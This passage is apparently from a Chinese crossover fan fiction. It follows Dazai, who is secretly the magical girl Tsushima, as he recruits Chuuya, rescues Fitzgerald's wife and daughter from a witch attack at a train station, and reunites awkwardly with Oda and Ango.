他推测——他们过去的记忆可能有问题。 或许伊江朔久以前就与他们认识，所以才对他们这么了解，也这么在意照顾着他们。 而他们却忘记了曾经的某些事情，记忆或世界线被修改变动了，才对伊江朔久完全没一点印象。 说不定丘比还保留着过去的记忆。 于是这些年来，伊江朔久才会事事都听丘比的话，不敢把真相说出来，担心丘比会抓住他的把柄要挟他…… 松田阵平下定决心，忍不住低声地说道：“……以后不会让丘比再操控你了。” 伊江朔久捕捉到了对方的声音，却怀疑自己是不是听错了：“……？” 那个……松田是不是误会了什么？ 对方应该没有见过真正的丘比吧？以前的丘比不都是他本人么，他怎么自己操控自己？ 伊江朔久沉默了片刻后，最终还是选择了继续沉默。 如果要解释起来就更麻烦了，可能会越扯越乱，要是牵扯出一些现在还不能暴露的事情就糟糕了。 还是让他暂时先这么误会着吧。 …… 从港口黑手党的首领室出来，太宰治久违地回忆起了过去给森先生打工时的糟心岁月。 森鸥外这么久果然还是没什么改变，还记挂着自己那什么最优解和利益至上的观念，根本没办法让他帮上一点忙。 太宰治早就很清楚了。 不过，回想一下武装侦探社很快就应下了对魔法少女保护民众的援助，再想想刚才在首领室和森鸥外的艰难掰扯…… 太宰治不由得在心里给森先生又记了一笔。 幸好反正他也没指望能说服森先生，这次来的目的只是为了…… 在旁边黑手党拿枪指着他、警惕地目送他离开的情况下，太宰治仍旧把步伐放得很慢，用仿若观光一样的速度悠闲地走着。 ……就好像在等待什么人一样。 “喂，混蛋太宰，你来这里干什么？忘了自己叛徒的身份了吗？” 等到了。 太宰治心里笑了一下，回头望向作为港口黑手党实力最强者的重力使，表面上却只是随意地道： “你真的不知道我来的目的吗？” 第226章 太宰治早就将信息提前放给了特定的人，方便想帮忙的人主动找上自己，甚至他还留了备用方案。 显然他是下定决心要拐走这位重力使了 。 操控重力，多方便的能力，即使无法看到魔女、使魔，战斗过程中会比较艰难，但是保护民众还是很有作用的。 中原中也皱着眉：“我倒是不清楚，你什么时候跟魔法少女扯上关系了，居然还会为此主动来到这里。” 太宰治故作神秘地道：“中也不知道的事情还多着呢。” 中原中也看对方这个样子就不爽，也不想顺着对方的心意主动去询问，反而故意道： “我不知道什么？呵，你主动来这里其实是因为你和津岛的关系吧。” 太宰治一听就知道，中原中也根本没能掌握多少信息，只是在瞎猜而已，于是气定神闲地问： “哦，什么关系？” “你们……”中原中也卡顿了下，还是说了出来：“是亲属吧？” 毕竟发色瞳色都是一样的，性格也有点相似，都缠着品味差劲的绷带，都能那样牵动芥川的情绪，还都能带给他一种很讨厌的感觉。 要说没有任何关系的话，反而让他有点难以相信。 但太宰治却扑哧一声笑了出来：“你的想象力有点太丰富了吧？” “那你们那么相似，会是什么关系？” 中原中也一边努力思索着，一边说着：“说起来，津岛这两年似乎身高长相都没有发生变化，就像是……爱丽丝那样。” 森鸥外的人形异能体爱丽丝，身高和长相也永远不会发生变化，只会根据主人的期望而进行调整。 “……太恶心了。” 太宰治放弃继续逗对方了，直接转移话题奔向主题：“别瞎猜了，来聊聊你更感兴趣的话题吧。你没发现你自己过去的记忆有问题吗？” 中原中也眉心一跳，按捺住心情，冷静地询问道：“前段时间在背后调查我过去的人果然是你……我记忆能有什么问题，你想说什么？” “我们换个地方谈吧。” 太宰治瞥了眼不远处端着枪的那些黑手党们，知道这里谈话的一切都会被森鸥外所知道，所以说道： “我没有在这么多人的注视下，还能跟你闲聊起来的心情，毕竟你也说了我是叛徒嘛。” 中原中也犹豫了片刻，还是应下了：“好，我倒要看看你能编出什么谎来。” 不过在离开这里之前，他给首领主动发去了请求暂时请假一会儿的消息，森鸥外选择了同意。 …… 到了没人的地方，中原中也便忍不住先催促道：“说吧，你到底想说些什么？” “你的记忆出现问题，你不应该是最清楚的那一个吗？” 太宰治简单地提示道：“回想一下，旗会是怎么从魏尔伦手下活下来的？” 中原中也微怔。 过去的这一片记忆确实有些别扭奇怪。 按理说应该让人印象深刻，但中也就是记不太清了，只知道当年似乎运气很好，著名的暗杀王魏尔伦居然失误了。 之前中原中也猜测可能是自己在研究所被N实验的时候，记忆出了点差错，导致总有种仿佛魏尔伦杀了自己重要的朋友的感觉，所以对其一直都很难抱有什么好态度。 毕竟，这种错觉也不可能是真实的…… 旗会那些人至今不都好好地活着吗？前两天他还跟他们一起聚过餐。 中原中也问道：“这重要吗？都已经过去了，有什么好重新提起来的？” “这当然重要了。” 太宰治幽幽地道：“其实，中也你曾经也是魔法少女之中的一员哦，当初你就是因此才让旗会活下来的，只不过你的记忆出现问题全都给忘掉了。” “什、什么？！” 中原中也错愕了一秒，随即露出一副你在逗我吗的表情，感觉拳头有点痒了。 这么荒诞离谱的事情怎么可能啊？ 果然，就知道从太宰这家伙嘴里很难听到什么正经话。 看着中原中也拉起袖子想打人的架势，太宰治立刻改口道：“开个玩笑而已嘛，中也真是的，一点幽默细胞也没有。” 中原中也威胁道：“你到底说不说了？” 太宰治默默吞掉了本想脱口而出的下一句话——说实话你又不相信。 当然，中原中也不相信才是正常情况，谁能一下子就接受这种离谱的说法，太宰治其实也没准备好好解释让对方信服。 毕竟——要是中也真信了，那不就等同于揭露自己隐藏的津岛身份了吗？ “确实只是巧合而已。” 太宰治故意说道：“旗会的存活是巧合，你的记忆模糊也是巧合，魏尔伦的改变也是巧合，过去的那些异常都是巧合……” 果然，中原中也的脸色慢慢变得更不好了。 太宰治犹如未曾察觉般继续道：“蛞蝓的脑容量不大，我当然是很能理解的啦，记忆和现实偶尔出现偏差是很正常的。” 中原中也沉声说着：“……首领和其他人也会觉得过去的我，以及当年的魏尔伦暗杀旗会事件都有点异常。” 太宰治装傻道：“可能是集体记忆出现了错误偏差，曼德拉效应嘛，你没听说过嘛？” 中原中也足够了解对方，冷冷地道：“你有什么条件就直接说吧。再这个态度下去，我就真的要揍你了。” 太宰治卡在中原中也的忍受极限上，不再继续拱火了：“只要你愿意帮忙，之后我会把真相告诉你的。” 中原中也想了想……太宰治拜托的事情不牵扯到什么别的利益，也是他愿意帮忙的事情，似乎是个可以接受的交易。 不过，他还是先说道：“如果首领同意的话，我可以帮忙。” 第227章 问题就是——森鸥外能同意吗？他不久前还一脸笑容地拒绝了太宰治难得一见的请求。 中原中也有点拿不定主意。 太宰治提醒道：“森先生会同意的，毕竟这是我们的交易，你又不是无偿帮忙的，对吧？” 中原中也皱着眉，按照太宰治所说的跟首领发去了请示的消息。 森鸥外果然同意了：【可以，中也君要请假的话，提前将自己的工作安排好就行。】 没想到森鸥外会这么好说话，毕竟太宰治是港.黑叛徒。作为黑手党干部，他和叛徒来往合作……这听起来还真够糟糕的。 中原中也有点愧疚地向首领发送了抱歉。 森鸥外却居然这样回复道： 【没关系，中也君和太宰君关系一向很好，以前你们就经常私下里互相来往呢。我能理解的，只要你不落下自己的本职工作，其他的事情我相信中也君也都是有分寸的。】 其实，森鸥外是知道堵不如疏。这样宽容地应允中原中也，反而会让对方心虚内疚，能达成更好的效果。 而且中原中也就是港口黑手党的人，他主动去帮忙，当然也能算得上是魔法少女和武装侦探社那边欠下了他们一个人情。 而中原中也却意外地没有按照森鸥外的思路去想。 他没能心虚内疚，也没能反思自己的错误，而是……第一时间有点茫然。 ——我和那个混蛋青花鱼关系很好？ ——以前我们就经常私下里互相来往？ 开什么玩笑，首领怎么会说这种胡话，他和太宰那家伙不是一向互相看不惯、见面就争吵吗？ 怎么可能私下里互相来往，他根本连见都不想…… 中原中也的思绪忽然卡顿住了。 回忆从脑海中浮现出来，过往的场景片段如同幻灯片般一张张闪过……好像确实是这样。 他记得，在魏尔伦到来之后，至太宰治叛逃之前，他确实是和太宰治经常见面。 虽然仍然是吵吵闹闹的、互相看不惯。但不可否认的是，他们相处的频率比以前增加了太多，似乎总会因为什么意外碰到一起。 为什么呢？ 中原中也想不到能够完美解释的理由，这仿佛也变成了证明自己过去记忆出现问题的‘异常’之一。 他下意识扭头看向太宰治。 但是，刚才还站在那里的黑发青年不知何时已经消失不见了。 中原中也愣了一下，下一秒手机又响了。他打开发现收到了一封陌生邮箱发来的消息，上面还留了个联系方式： 【准备好了之后，请联系这个号码，会有人告诉你该怎么做的。】 显然这是太宰治发来的。 中原中也一时间不知道是该想对方偷摸溜走的能力越来越强了，还是该想对方又是从哪里拿到了自己新的联系方式…… 此刻，还是另一个更荒谬的事情占据了他的大部分心神。 太宰治刚说完不久的话回响在他脑海里——“其实，中也你曾经也是魔法少女之中的一员哦……只不过你的记忆出现问题全都给忘掉了……” ……难不成真的会是这样吗？ 中原中也迟疑片刻，还是摇了摇头。 怎么可能呢？ 这么离谱的事情…… …… 十月份的东京突然迎来了异常的降温，虽然往常的气温也在慢慢降低，但却从来没像今天这么寒冷。 在东京前往横滨的站台里，许多人来来往往，似乎很多人都穿少了衣服，总忍不住缩缩肩膀。 泽尔达有些心神不定。 她一手牵着女儿在等车，一边不自觉地抬头，透过穹顶玻璃看着外面铅灰色的天光、成群的蝙蝠、呼啸着卷起落叶的狂风…… “妈妈。” 听见女儿斯科蒂的声音，泽尔达收回心神，看向对方冻红的脸颊，先下意识地将女儿围在脖子上的针织围巾又裹紧了些。 她宽慰道：“怎么了？斯科蒂，是太冷了吗？等会儿到了地方，我们就先去买些保暖的衣物换上。” 斯科蒂摇了摇头：“我其实还好，妈妈你冷吗？要不你先围着这个围巾吧？” 泽尔达也逞强着，说道：“不用了，我也不冷。” 不过……早知道不应该来得这么匆忙的，多做些准备，也不至于连多的衣服都没有带足。 但是，她们实在是等不下去了，也没有心情多做思考。 自从失去了和菲茨杰拉德的联系之后，她们就没办法放下心来。 予溪笃伽 即使有对方的同事和下属解释，说对方近期只是涉及到一些需要保密的项目里，所以不方便联络她们……她们也没有轻易相信。 毕竟这两年多来，菲茨杰拉德总是拿借口搪塞她们，她们再笨也能看出来对方隐藏着什么重要秘密。 甚至，家里因此还闹过好几次不愉快。 等到刚过了两人的结婚纪念日，菲茨杰拉德仍然还是没什么消息，泽尔达就立即下定了决心，要来日本亲自找回对方。 因为拗不过斯科蒂，她就也将女儿带过来了。 “爸爸这么久都没有消息，我们能找到他吗？” 斯科蒂也有点不安。 泽尔达勉强笑了笑，握紧女儿的手：“会找到的，横滨也不大，他就算想躲也躲不到哪里去。” 这种时候，只希望是菲茨杰拉德不想理会令人烦心的家庭，而不是……出了什么意外。 泽尔达心头一颤。 忽然听见什么动静，她抬头看去。 站台的电子屏突然闪烁起来，显示列车延误。 广播里传来机械的女声：“因设备故障，开往横滨方向的列车暂时停运……” 第228章 列车暂时停运？ 泽尔达与斯科蒂心里不妙的预感都越来越严重了。 人群也因为这突然的变故而变得有些骚动起来，纷纷低声议论着。 这么糟糕的天气，列车还突然无法运行，他们不知道得等多久才能好好歇息，心情自然好不起来。 这时候，斯科蒂余光忽然瞥见一处异常，惊得连忙扯了扯母亲衣角，低声喊道：“妈妈，你看那边！” 泽尔达顺着女儿的视角望去。 只见月台尽头的自动贩卖机剧烈震颤，出货口突然涌出沥青般的黑色黏液。有一名站务员上前查看，结果皮鞋底刚触及那滩物质，便深深陷入其中。 “啊啊啊——” 站务员惊恐地尖叫起来，声音引得周围的人全往那边投去了目光，不少人都看见了黑色黏液顺着裤管向上攀爬的情况。 尖叫声在人群中快速传播开来。 这动静似乎让怪物更兴奋了，空气中看不见的存在将可怜的站务员高高地提了起来，只能见到黑色黏液沾了对方一身。 随后，“嘭——” 对方的身体化作血块四散开来。 “是、是魔女！？” “为什么会突然出现在这种地方，不应该大多都在魔女结界里吗？” “魔法少女们什么时候过来啊？” “为什么偏偏是我们，为什么这么倒霉……” 人们害怕而疯狂地往外涌着，想要尽可能逃离魔女所在的范围，可是根本没有用。人类的力量在怪物面前还是显得太渺小了。 而且，他们根本看不见它们，所以导致某些人几乎直接是往使魔的嘴边送了过去。 泽尔达紧紧攥住女儿的手，跟随着往外涌的人流奔跑着。 她从未见过这样恐怖的场面，此刻脑子里害怕得只剩下一片空白，只是潜意识让她拉着同样害怕的女儿想将其带去安全的地方。 可是……究竟哪里安全呢？ 她们跑着跑着，尽可能远离异常发生的地方，还要小心不被慌张的人群挤倒……耳边尽是哭喊惨叫的声音，眼前处处已被鲜红浸染。 旁边一起逃命的几个人突然被不知道什么东西压倒在地，身体肉眼可见地扭曲成奇怪的形状。 泽尔达和斯科蒂吓了一大跳，踉跄着想要远离这一块，然而没走两步，鞋子却陷入了不知何时软化的地板。 要死在这里了吗…… 泽尔达看着自己和女儿的倒影正被漆黑的黏液包裹，近乎彻底陷入绝望之中。 没有办法了，什么都做不了，真的要死掉了。 可是，斯科蒂还没有长大，她该有更美好的未来的，我为什么要答应把她也带到这种地方来…… ……弗朗西斯现在在哪里呢？ 就在这时，面前忽然冒出了白色的绷带，紧紧缠住了怪物的身躯，这旁边的其他人才得以看见这只使魔的位置。 一道枯叶色的身影奇迹般地出现在泽尔达和斯科蒂前面。 少女黑色微卷长发和同色的披风在风中飘扬，复古风的短裙完全没有影响到她的发挥，黑色流苏轻轻地随其动作摆动，倒显得身影更加轻盈。 不知道这少女是怎么做到的，总之她们眼前一晃，缠住她们的漆黑黏液便快速退去了。 斯科蒂喃喃着这个名字：“津岛……” 是的，魔法少女津岛很及时地出现了。 看见她的民众们心里都好似突然一下就有了主心骨，惊喜的喊声接连响起，期盼着这场惊悚的闹剧能够赶紧落下帷幕。 “魔法少女来了！是津岛！” “终于来了，我们有救了！” “津岛！津岛！！！……” 津岛用绷带缠绕住使魔的致命处，快速收缩绞紧，倒是很快就解决掉了眼前的这只使魔。 但是她随后放眼望去，目之所及还有不少使魔，以及一只实力看着颇为强大的魔女正在车站中心的位置。 根本没办法在短时间内解决所有使魔，伤亡还是免不了多少。 除非…… 能有其他魔法少女赶过来帮忙。 但是，津岛回想起了刚才在群里看到的那些消息—— 安凛：【港区台场出现多个魔女，数量估计至少在四个以上，有人能够支援吗？】 松代：【你没多少和魔女战斗的经验，别轻举妄动。稍等一会儿，我处理完新宿这边的魔女就赶过去帮忙。】 悠衣：【池袋那边也出现了魔女的踪迹，有人现在能过去处理吗？我在六本木这边的战斗还没有结束。】 禅院穗：【有咒术师应该能赶过去帮忙，不过只能尽量保护民众，很难解决掉魔女和使魔。】 松代：【那样就已经很好了。】 安凛：【等等……东京之外的地方也似乎出现魔女了！！】 …… 津岛很快收回思绪。 emm……应该是指望不了其他人了。 现在自己这边暂时只有一只强力的魔女，以及无数只麻烦的使魔而已，处境应该比其他人还要好上许多。 只能靠自己尽量来解决了。 津岛先回头看了下泽尔达和斯科蒂的情况，问道：“你们没事吧？” 两人还心有余悸，不过也是幸好津岛来得足够及时，她们并没有什么伤，闻言迟疑地摇了摇头。 “你们不应该这种时候来这里的。” 津岛轻叹了口气。 她也庆幸自己赶来得及时。 要不然等到菲茨杰拉德醒来后，发现自己的妻女出事了，估计她们就得被迫面对魔女化的同伴艾尔菲了。 “我先送你们和其他人去安全的地方吧。” 泽尔达被死里逃生的情绪裹挟着来不及思考，刚想先应下来，就听见自家女儿的声音： “津岛，你知道我爸爸在哪里吧？” 津岛看似无辜地眨眨眼：“你为什么会觉得我知道呢？” 斯科蒂没有说话，只是目光一直锁在津岛身上。 “好吧。”津岛先随口应付了她们：“先去安全的地方，等到眼前的这些麻烦都结束了，我就告诉你们他在哪里。” 斯科蒂连忙应下：“约好了！” 第229章 于是，津岛手里多出了一条很长很长的白色绷带，那绷带如蛛网般不断地蔓延开来，仿佛永远没有尽头…… “抓住这个！” 津岛提高了声音，一手紧紧攥着绷带，一手拿着《女生徒》。 除了泽尔达和斯科蒂之外，听见她声音的其他人，也立刻如同发现救命稻草般挤了过来，争先恐后地希望能够得上那条救命的绷带。 稍远处，听不清津岛声音的人，看见他们的举动，也从众地连忙做了同样的举措。 场面一时间反倒更加混乱起来，争抢与踩踏的行为频繁发生。 明明绷带还在不断延伸着，但每个人都尽可能抓得很紧，为此都可以将其他人挡在身后，似乎生怕活命的机会从手中流失。 津岛差点没忍住将这力道夸张的绷带脱手，但她还是牢牢抓住了，即使手上已经被勒出了可怖的血印。 没办法，这种情况也在她的预料之中——在这样生死攸关的危难关头，怎么可能指望其他人都冷静下来，维持好的秩序。 为了尽快救走更多的人，她也不可能一个个慢慢带走所有民众。 只能够依靠绷带的间接性接触，然后使用《女生徒》，快速多量少次地将民众带去安全的地方。 津岛咬紧牙关，手中的书页无风自动……攀附在绷带上的人随之逐渐消失，被传送去提前安排好了的避难所。 不过，虽然早就计划好了这些，但是之前也不可能实际试过这么一遭。 如今真的做了之后，津岛发现消耗的量比起预估中的还要多上一些。人类的数量实在是太多了，她很难承受住这种程度的魔法消耗。 幸好还有朔夜提前交给她们的悲叹之种——当时对方拿出来的时候，她们都吃了一惊，没想到对方这两年多竟然存下了这么夸张的数量，如今也是真舍得将它们都给分配出去。 津岛又将一批人传送走后，刚想拿出悲叹之种恢复一下，结果身侧却突然迎来了强势的攻击，无形的力量撕碎了她进行防护的绷带。 那巨大的淤泥魔女似乎察觉到，正是因为津岛的行为，才使得这里可吞食的人类生命力数量大大减少。 所以，它决定从源头上先解决掉津岛。 而津岛本来就不是战斗力很强的类型，更偏向移速和辅助，刚才又进行了大量消耗，现在一时间有些应付不过来。 但要是她选择先后退的话，身旁这些民众估计就会很快全部死在这里了。 怎么办？ ……有必要为这些家伙做到这种程度吗？ 太宰治耳边回想起了织田作之助曾经临死前的话——“到救人的那边去吧……成为一个好人，拯救弱者，守护孤儿……” 于是面对袭来的庞大魔女，她没有躲闪，而是再一次挥出了手中的绷带…… 不过，突然间枪声划破空气。 “砰！砰！砰！” 只是普通的枪和子弹，却精准地都命中了魔女，并成功吸引了它的注意力。 太宰治缓过一口气来，连忙先趁此机会使用了悲叹之种，侧头去看那个帮了她大忙的人。 结果对方熟悉的面孔却令她愣了一下。 ……是织田作？ 穿米色风衣的男人持着双枪，冷静地使用着异能‘天衣无缝’关注着魔女无形的动向，动作干净而利落，显然曾经有过不少的战斗经验。 太宰治来不及多做诧异，便匆忙上去帮忙。 毕竟，单靠织田作之助一个人还是很难应付这样的怪物的。他根本就看不见敌方，只能每一次都依靠能够短时间预知未来的异能来解决危机。 好在，这只实力强大的魔女智商却不高。 太宰治和织田作之助配合起来，由后者不断开枪吸引魔女注意力，引导其远离人群，再以前者为主力，最终有惊无险地干掉了这只魔女。 不过，场上还余下了不少使魔。 织田作之助简单和太宰治打了个招呼，便立即去应对那些使魔，保护这里的其他民众。 太宰治则再次回归到将剩下的民众转移去安全地方的努力中。 现在情况好很多了，暂时不需要太过着急，太宰治也就忍不住有点分心了……织田作为什么会在这里？ 织田作如今看起来仍然没有过去和自己的记忆的样子，刚才也只是很陌生地喊了她一声“津岛小姐”，那为什么却会主动出现在这里呢？ 太宰治简单地思索了一番，很快找到了原因。 她悄悄给江户川乱步发去了消息：【乱步先生，是你安排织田作之助过来援助的吗？】 江户川乱步回复得很快：【没错哦。】 太宰治有些心累了。 江户川乱步继续道：【他的异能‘天衣无缝’能帮上很多忙，而且他也是主动愿意过来的。】 就算是这样…… 太宰治望向不远处正在与使魔周旋的那个男子，想要逃避的心理又忍不住占据了上风。 自己该怎么和什么也不记得的织田作相处呢？ 江户川乱步仿佛隔着遥远的距离，看透了太宰治心里的想法，劝道： 【如果过去的回忆实在无法重拾起来的话，不如就直接开启新的篇章嘛。】 太宰治叹了口气。 说的简单……可是这对自己而言也太难了吧。 只是见到对方，就会忍不住表现出熟稔的态度，想要习惯性地喊对方织田作，很难自然地伪装出不认识的样子…… 但是这样的话，肯定会让织田感到疑惑和苦恼的。还真是难以想象被对方怀疑、或是被当成莫名其妙的人而讨厌的情况啊。 太宰治又想到了伊江朔久。 说起来，伊江朔久是怎样维持住那样好的演技呢？ ……肯定很辛苦吧。 第230章 在将这里所有的民众都转移去安全地点之后，有着织田作之助帮忙的太宰治很快解决了剩下的这些使魔。 但是，直到这时，太宰治也不知道该怎么和织田相处。 毕竟如今的他们太熟悉也太陌生了。明明过去是很重要的友人，可现在却一点交集也没有。 他虽然也想往前踏步，却总是会想起…… 对方茫然的那一句：“请问织田作这个称呼，是在叫我吗？” 还有其他人曾经不解的那些话语：“织田作？你说的是那个小有名气的作家织田作之助吗？用这么奇怪的称呼喊对方不太好吧。” “别开玩笑了太宰，你怎么可能认识他，他看起来和你完全不熟吧。” “太宰先生居然会有什么朋友吗？抱歉，我不是这个意思！只是从来没见过……” “……” 太宰治垂下眸。 这些算不上什么，都是实话而已。 自己也根本不会觉得有什么。 毕竟早在和丘比签约之前，自己就有了要支付昂贵代价的准备，而如今的结果也并不算多么糟糕…… 这时，忽然出现的其他人打断了她的思绪。 太宰治收敛起情绪，顺着脚步声望去，看见一个穿着深灰色西装、戴眼镜的青年走了过来，身边还跟着一些穿制服的部下。 居然又是熟人——坂口安吾。 坂口安吾看了看周边的情况，知道自己算是来晚了，这里的危险事件已经暂时落下帷幕了。 他吩咐了一下部下，让他们先去处理其他的事情。 然后，他往太宰治和织田作之助这边走了过来，道：“织田作先生……津岛。” 太宰治能听得出来，坂口安吾的态度不对劲。 就好像是已经知道些什么，才特意用这样的称呼方式，但明显对方因为不够熟悉而有点别扭之感。 ……不会吧？ 她听见手机又响了一声，低头看了一眼，果然还是江户川乱步发来的：【你的事情我可没有说啦，是坂口安吾他自己发现的。】 太宰治：“……” 鬼才信。 安吾确实很有可能提前察觉到不对劲，再利用自己那堕落论的异能留作后手。 但是在这个巧妙的场合，安吾会与织田作先后赶来帮忙，肯定和乱步先生脱不了关系。 太宰治郁闷地想，太过分了，回去之后一定要克扣掉之前答应乱步先生的零食，至少一个月才行。 可眼下还得先面对安吾和织田作。 太宰治强装正常地打了声招呼：“真巧啊，坂口君，还有织田先生，谢谢你们的帮忙。” 坂口安吾微怔了一下，说道：“这也是异能特务科应该做的。” “那既然如此，这里的其他事情就交给你们了。” 太宰治找了个很合理的借口，看似很正常地笑着，飞快的语速却暴露了她的一些情绪： “我其实还有别的事要忙，你们也知道现在各地都不太安稳，所以我得先赶紧走咯，之后有缘再见。” 黑发鸢眼的少女眨眨眼，就要翻开《女生徒》，利用其书页瞬移离开这里。 坂口安吾见状，反应比思绪更快地喊住了她：“等等，太——” 在黑发少女侧头一瞬间仿佛有点想杀人的眼神中，坂口安吾卡了壳，立即改口道：“……津岛。” 太宰治笑得有些恐怖：“怎么了？” 坂口安吾看见她这个样子，有点更难以开口了。 织田作之助却只是茫然地问：“你们两个之前认识吗？” “不怎么熟。” 太宰治平静地摇了摇头。 按照津岛的设定，当然不可能和坂口安吾有多少牵扯。 “但是，以后会熟起来的。” 坂口安吾却忽然这么说道，语气格外坚定：“我希望，我们三个之后可以重新成为朋友，不管多少次。” 织田作之助迟疑地道：“重新？” 太宰治则没有说话，明显没有怎么相信。 坂口安吾先侧头去问道：“织田作先生，可以的吧？” 织田作之助犹豫了片刻，想起了不久前江户川乱步和坂口安吾跟自己说的那些、奇怪莫名又若有所指的话语。 ……交朋友吗？ 他决定跟随自己的本心：“可以。” 太宰治抿了抿嘴。 坂口安吾趁热打铁说道：“那就这么说定了，等到这次事件结束之后，我们一起去Lupin酒吧如何？” 本来以为自己没那么容易会动摇，但当太宰治听到Lupin酒吧的时候，还是顿了顿…… 自己上一次去那里还是在幻境里，当时几乎等同于亲手杀了他们两个，虽然只不过是虚假的幻象。 一想到这个，太宰治就有些心虚。 所以，怎么好拒绝对方呢？ 她不知道该怎么做，先下意识地看向织田作之助，等待对方先说出拒绝的话。反正一般都是会被拒绝的吧，从之前的经验就可以知道了。 织田作之助却仿佛在纠结着似的，什么也没有说。 “……那等这次事件结束之后再说吧。” 太宰治随口敷衍了一句，随即很快使用了书页，没等坂口安吾再说些什么，就已经溜走了。 看着对方消失的位置，坂口安吾默默叹了口气，转而有点幽怨地望向织田作之助：“织田作先生，我们之前不是说好了的吗？” “抱歉。” 织田作之助尚且不清楚多少信息，犹豫着说：“但是，让未成年的女孩子喝酒不太好吧……” 坂口安吾：“……” 这、这倒也是…… 确实，魔法少女津岛其实是太宰君这件事太过玄幻了。 直到现在，自己也还是想想就有些难以接受呢。【你现在阅读的是 】 230-240 第231章 临时避难所的荧光灯在头顶嗡嗡作响，人与人之间离得比较近，涌入鼻腔的都是消毒水味以及潮湿的体味…… 不过，这样的环境也不是不能忍受。 他们才刚刚经历了死里逃生，见过其他不少人的惨烈死相，明白能活着转移到这种安全的地方就已经很不容易了。 况且，这些天他们也普遍参与过至少一次防灾演习了。 只不过虽然场面勉强还算稳定，但遭遇了这样恐怖的事情，人们难免会控制不住地心神不定、窃窃私语…… “前段时间什么有危机降临的传闻原来是真的啊。” “国家早就知道了吗，那为什么不提前通知我们？那些税金小偷，一天到晚根本什么都指望不上！” “喂，别这么说。” “为什么会发生这样的事情，为什么我的家人会死掉？！如果早知道的话，不应该提前预防好吗？！！” “那些看不见的怪物都是魔女或使魔吧，以前也不会这么一下子全都冒出来啊，谁能给我们解释一下？” “刚才除了魔法少女，我好像还看到了有其他人也在和那些看不见的怪物战斗……这个世界上居然还有其他拥有特殊能力的人吗？” “这里的避难者也太多了吧，这场危机到底涉及到了多大的范围？” “手机没有信号，求求了，谁能帮个忙，我想联系我的母亲……” “这里好像已经不在东京了？好神奇，我们竟然一下子转移了这么远的距离。” “魔法少女她们一定会解决这次危机的吧！” “……” 泽尔达有些恍惚，怔怔地看着自己身旁的女儿。 此刻的斯科蒂也垂着头，好似在艰难地思考着什么。 泽尔达沉默了半天，终于忍不住对女儿问道：“斯科蒂，你为什么觉得津岛小姐知道弗朗西斯在哪里呢？” 她们早在两年前就知晓了，菲茨杰拉德经营着一个名为组合的异能者集团，还有魔法少女之一的艾尔菲与其有着紧密联系。 但是，更多的她们就不清楚了，菲茨杰拉德也一直不愿细说。 而斯科蒂刚才那个反应……就好像是猜到了什么一样。 津岛居然也没有否认，还顺势答应了下来。 泽尔达又喊了一遍：“斯科蒂？” 斯科蒂才慢半拍地有了反应，很纠结地说道：“啊，妈妈，我……我有一个想法，不过不确定正不正确……” 泽尔达轻声问：“没关系的，可以告诉我吗？” 斯科蒂犹豫了一下，凑过去在母亲耳边，放小了声音说了一句话。 “我怀疑……艾尔菲其实就是爸爸。” “？？！” 纵然泽尔达已经尽量去做心理准备了，但是听到这句话的时候，还是不可避免地惊讶出声： “什、什么？！” 这怎么可能呢？ 她差点忍不住想要问，你是不是猜错了？ 但是在话即将出口的时候，泽尔达回想起了过去的某些蛛丝马迹。 ——菲茨杰拉德曾经对魔法少女相关事情的刻意回避与含糊其辞，还总是坚决反对她们去日本，和她们强调魔女的危险性，感觉对这些事情很了解似的…… 甚至、甚至，之前跟对方谈起女生穿裙子时的不方便，他说的好像还蛮有心得的。 ……不会吧？ 泽尔达尽力消化了半天，才勉强恍惚地接受了。 “那这么说，他这段时间的消失……是因为东京这次的危机么？” 斯科蒂摇了摇头，心情很低落地道： “其他魔法少女这段时间都曾出现在过大众视野下，除了艾尔菲，听说她也失踪了，和爸爸失踪的时间差不多对的上……” 显然，菲茨杰拉德的确是遇到了危险，不是故意不和她们联系的。 但是知道了这一信息，泽尔达和斯科蒂反而更难受了，也愈发想要尽快知道对方现在到底在哪里，情况怎么样…… 或者说， 泽尔达攥住心脏处的衣服，焦虑地担心着。 ……弗朗西斯他现在还活着吗？ 此刻的临时避难所里，像她们一样担心着自己重要之人的人也不在少数。 其中某个男子最先忍不住，站起来猛然要往外面冲去，被负责这里的官方成员急急拦了下来。 “先生，你现在还不能出去，要等事情结束之后……” 那个男子看上去状态很不好，打断那些阻拦的话，朝其他人大喊道：“我要出去！我没办法在这里待下去了，绫子、绫子她还在等着我……” “请你放心，已经有很多人参与救援了。” “是的，别担心，一定会没事的，请再等待一下好吗？” “……” 警员们劝了很久也没什么效果，后来只能采取了强硬一些的手段，将其暂时牢牢看管起来，绝对不能再放任更多的伤亡出现了。 佐藤美和子看着这些，叹了口气。 现在只有他们这些警察提前配有特殊的通讯设备，能够在这种情况下维持信号互相联系了。 但即便如此，也还是有联系不上的人。 不知道他们情况怎么样了…… 第232章 正想着那些联系不上的人的时候，佐藤美和子便瞥见了一个认识的人，正巧走过这边，她没忍住顺势问了一句： “伊达君，请问你知道松田的情况吗？” 伊达航怔了下，无奈地摇了摇头。 看着佐藤美和子有些担心的样子，伊达航说道：“没事的，现在这种情况，很多地方都暂时联系不上，松田可能正在别的避难所忙着帮忙吧。” 佐藤美和子应道：“嗯……” 她又想到了伊江朔久，对方现在也不知道在哪里，有没有遇到什么危险。 可惜自己目前只能够做好本职的事情，没有办法和能力再去帮助更多的人，甚至此刻连这个临时避难所都出不去。 如果自己也能帮上忙就好了…… …… 此刻的松田阵平正通过自己在城市监控系统里提前加装的特殊传感器，搜寻着有关遇难者的情报，并告知协作者，让他们尽快先把人都救到安全的地方。 魔女出现的数量太多了，还仿佛源源不断。 魔法少女们一时很难将它们全部解决，而且战斗起来难免会波及到周围的事物，所以先救人是最优解。 需要救援转移的人数太多了，松代忙得停不下来，不断指挥着协作的人，让他们赶去指定的地点找人。 可是，这也根本忙不过来，可以救援的人都必须得是有点自保能力的，但哪有那么多人能够派出去。 松代正头疼的时候，瞥见一个样貌出众的白发高挑青年走过来，身旁还跟着一个黑发半丸子头的青年。 “池袋的任务完成了？” 五条悟应了一声：“嗯呢。” 虽然有了预料，但松代也为对方过快的速度有些惊讶……看来对方肯定有着类似瞬移的能力。 松代又立刻报了两个地区分配给他们，迟疑地问：“能够完成吗？” 她主要是看着那个黑色半丸子头的青年说的，那个人的能力她不能确定，不过站在五条悟身边，应该也不会太差吧。 “没关系哦，我们两个可是最强的。” 五条悟抢先一步道：“干脆再多说几个任务吧，反正杰全部都能快速解决。” “悟。” 夏油杰无奈地喊了他一声，但也没有否认，看起来确实有这个自信。 松代犹豫了下，试探着又多报了几个需要救援的地区。 